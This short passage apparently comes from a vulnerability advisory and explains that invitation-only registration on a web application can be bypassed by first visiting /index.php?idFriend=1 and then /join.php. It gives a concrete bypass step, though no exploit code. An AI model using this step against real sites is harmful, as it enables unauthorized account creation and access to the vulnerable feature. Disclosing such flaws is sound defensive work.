Successful exploitation of this vulnerability requires authentication, but is always possible to create a new account also if 'REGISTRATION BY INVITATION ONLY' is enabled, in this case an attacker could bypass the restriction visiting first /index.php?idFriend=1 and after point to /join.php for a new registration.
